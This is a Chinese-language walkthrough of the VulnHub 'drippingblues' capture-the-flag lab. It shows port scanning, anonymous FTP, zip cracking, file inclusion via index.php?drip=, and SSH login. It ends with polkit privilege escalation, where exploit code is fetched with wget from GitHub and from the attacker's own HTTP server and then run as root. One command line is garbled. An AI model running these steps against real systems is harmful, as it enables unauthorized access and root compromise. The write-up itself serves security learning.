本靶场知识点:
- 密码爆破fcrackzip
- 故意放出的疑似漏洞点
- ftp匿名访问
- 文件包含漏洞,需要找到参数
- ssh连接
- polkited提权
靶场环境
靶场下载地址:https://download.vulnhub.com/drippingblues/drippingblues.ova
kali:192.168.2.23
靶机:192.168.2.9
信息收集
使用arp-scan进行主机存活扫描:
arp-scan -l
扫描到靶机192.168.2.9
使用nmap对存活主机进行进一步的扫描:
nmap -sV -A -p- 192.168.2.9 -O
通过扫描可以知道该靶机开放了21ftp、22ssh、80http服务
- 端口21/tcp是FTP服务,使用vsftpd 3.0.3版本,允许匿名登录并具有一个可写入的文件"respectmydrip.zip"。
- 端口22/tcp是SSH服务,运行着OpenSSH 8.2p1版本,提供了RSA、ECDSA和ED25519类型的SSH主机密钥。
- 端口80/tcp是HTTP服务,使用Apache httpd 2.4.41版本,服务器上有一个robots.txt文件,指定了两个不允许爬取的目录。
- 操作系统识别为Linux,可能运行着Linux 4.15到5.8之间的内核版本。
简单扫一下主机有没有可利用的漏洞:
┌──(root㉿kali)-[~]
└─# nmap -script=vuln 192.168.2.9
ok,啥也没有
访问靶机开启的http服务,有一段文字:
翻译:
driftingblues is hacked again so it's now called drippingblues. :D hahaha
by
travisscott & thugger
漂流布鲁斯又被黑了,所以它现在被称为滴水布鲁斯。:D哈哈哈。
通过。
特拉维斯科特与萨格尔
wappalyer信息:
使用dirsearch进行目录扫描:
发现有一个 /robots.txt,先留着,一会看
漏洞利用
ftp匿名访问
先访问一下ftp服务吧,可以匿名,使用anonymous作为用户名,空密码进行登录:
┌──(root㉿kali)-[~]
└─# ftp 192.168.2.9
Connected to 192.168.2.9.
220 (vsFTPd 3.0.3)
Name (192.168.2.9:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
使用ls命令列出文件,可以看到有一个respectmydrip.zip
使用get命令将respectmydrip.zip文件下载下来:
使用mv命令将下载下来的respectmydrip.zip文件放到桌面上:
# 首先需要使用exit命令退出ftp
ftp> exit
221 Goodbye.
┌──(root㉿kali)-[~]
└─# mv respectmydrip.zip /root/Desktop
在桌面上可以看到下载下来的文件,是一个zip文件,解压需要密码
zip文件爆破
可以先使用zip2 john将哈希搞出来,再使用john进行解密
解密等待的时间有点久,需要耐心等待,等个四五分钟才能跑完:
等了好久,才解出密码:072528035
使用unzip命令进行解压,输入密码072528035,即可得到两个文件,一个respectmydrip.txt和secret.zip:
先看一下respectmydrip.txt
┌──(root㉿kali)-[~]
└─# cat respectmydrip.txt
just focus on "drip"
翻译:
只需专注于“点滴”
不过为什么secret.zip还需要密码,爆破不了密码,放一边
文件包含漏洞
不管了,先看一下目录扫描出来的robots.txt文件,在这个robots.txt文件中:
User-agent: * 表示这些规则适用于所有的网络爬虫。
Disallow: /dripisreal.txt 指定了名为"dripisreal.txt"的文件不应被爬取。
Disallow: /etc/dripispowerful.html 指定了名为"dripispowerful.html"的文件不应被爬取。
不让看 /dripisreal.txt ,我非要看:
翻译:
你好,亲爱的黑客爱好者,
请听这首歌词:
Https://www.azlyrics.com/lyrics/youngthug/constantlyhating.html。
数一数n个单词,并把它们并排放在一起,然后md5求和。
例如,hellohellohelloHello>>md5sum hellohelloHello。
这是ssh的密码
看不懂,写的乱七八糟的,放一边
看一下/etc/dripispowerful.html,一个html页面,想到了一个文件包含漏洞
index.php是存在的,所以只需要找到传参点就好
想到了前面的:just focus on “drip” ,试一下使用dirp进行传参
发现还真的可以:
到这边就卡住了,偷看了一下答案:
http://192.168.2.9/index.php?drip=/etc/dripispowerful.html
查看源代码,可以看到一串密码:imdrippinbiatch
ssh
使用得到的密码进行ssh登录,可以登录成功:
thugger
imdrippinbiatch
不要问用户名是哪里来的:
m3?
列出所有文件:
thugger@drippingblues:~$ ls
Desktop Documents Downloads Music Pictures Public Templates user.txt Videos
thugger@drippingblues:~$ cat user.txt
5C50FC503A2ABE93B4C5EE3425496521thugger@drippingblues:~$
得到flag1
5C50FC503A2ABE93B4C5EE3425496521这个应该是md5加密的密文,拿去解密一下:
解密网站:https://www.somd5.com/
polkitd提权
不知道要干啥了,先提个权吧
查找具有 SetUID 权限位的文件:
find / -perm -u=s 2>/dev/null
ok,没有可以能够用来提权的SUID
看一下进程:
ps -aux
找到一条,policykit
在github上可以看到这个软件的漏洞,https://github.com/Almorabea/Polkit-exploit
可以在thugger上使用下面的命令:
wget https://github.com/nikaiw/CVE-2021-4034/archive/refs/heads/master.zip
unzip master.zip
cd CVE-2021-4034-master/
python3 cve2021cd CVE-2021-4034-master/-4034.py
不过我的虚拟机没有联网,所以我在电脑上下载了exp,再拖到kali里面
在kali上开一个服务
┌──(root㉿kali)-[~/Desktop/Polkit-exploit]
└─# python -m http.server 9999
Serving HTTP on 0.0.0.0 port 9999 (http://0.0.0.0:9999/) ...
在ssh中使用wget将CVE-2021-3560.py下载下来,http后面要跟着kali的地址,第一次操作因为马虎写成了靶机的地址,所以连接不成功:
thugger@drippingblues:~$ wget http://192.168.2.23:9999/CVE-2021-3560.py
在ssh中运行命令:
ls -al
python3 CVE-2021-3560.py
让程序跑一会,就能提权成功了,在最后的root目录下可以拿到最后一个flag